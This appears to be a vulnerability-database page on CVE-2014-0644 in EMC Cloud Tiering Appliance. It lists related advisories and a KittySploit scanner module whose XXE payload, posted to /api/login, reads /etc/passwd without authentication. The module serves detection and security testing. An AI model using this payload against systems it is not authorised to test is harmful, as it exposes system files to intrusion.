EMC CTA - XXE File Read Detection (CVE-2014-0644)
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2014-0644 | 29 May 201815:50 | – | circl | |
| CVE-2014-0644 | 17 Apr 201401:00 | – | cve | |
| CVE-2014-0644 | 17 Apr 201401:00 | – | cvelist | |
| EMC Cloud Tiering Appliance 10.0 - XML External Entity Arbitrary File Read (Metasploit) | 31 Mar 201400:00 | – | exploitdb | |
| EMC Cloud Tiering Appliance XML External Entity (XXE) Arbitrary File Disclosure | 7 Apr 201400:00 | – | nessus | |
| EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read | 31 Mar 201400:00 | – | metasploit | |
| CVE-2014-0644 | 17 Apr 201401:55 | – | nvd | |
| EMC Cloud Tiering Appliance 10.0 Unauthenticated XXE Arbitrary File Read Vulnerability - Active Check | 1 Apr 201400:00 | – | openvas | |
| EMC CTA 10.0 Unauthenticated XXE Arbitrary File Read | 31 Aug 202400:00 | – | packetstorm | |
| Xxe | 17 Apr 201401:55 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""EMC Cloud Tiering Appliance XXE file read (CVE-2014-0644)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'EMC CTA - XXE File Read Detection (CVE-2014-0644)',
'description': (
'Detects CVE-2014-0644 by POSTing XXE to /api/login with Password=&xxe; '
'pointing at file:///etc/passwd.'
),
'author': ['KittySploit Team'],
'severity': 'high',
'tags': [
'web', 'scanner', 'cve', 'cve2014', 'emc', 'xxe', 'lfi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-0644',
],
'cve': 'CVE-2014-0644',
}
def run(self):
probe = self.http_request(method='GET', path='/', allow_redirects=False)
if probe and 'EMC Cloud Tiering' not in (probe.text or '') and 'Cloud Tiering' not in (probe.text or ''):
# still try API — fingerprint optional
pass
xxe = (
'<?xml version="1.0" encoding="ISO-8859-1"?>\n'
'<!DOCTYPE foo [\n'
'<!ELEMENT foo ANY >\n'
'<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>\n'
'<Request>\n'
'<Username>root</Username>\n'
'<Password>&xxe;</Password>\n'
'</Request>'
)
r = self.http_request(
method='POST',
path='/api/login',
data=xxe,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if r and re.search(r'root:.*:0:0:', r.text or ''):
self.set_info(
severity='high',
reason='EMC CTA XXE file read (CVE-2014-0644)',
path='/api/login',
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.8
EPSS0.53342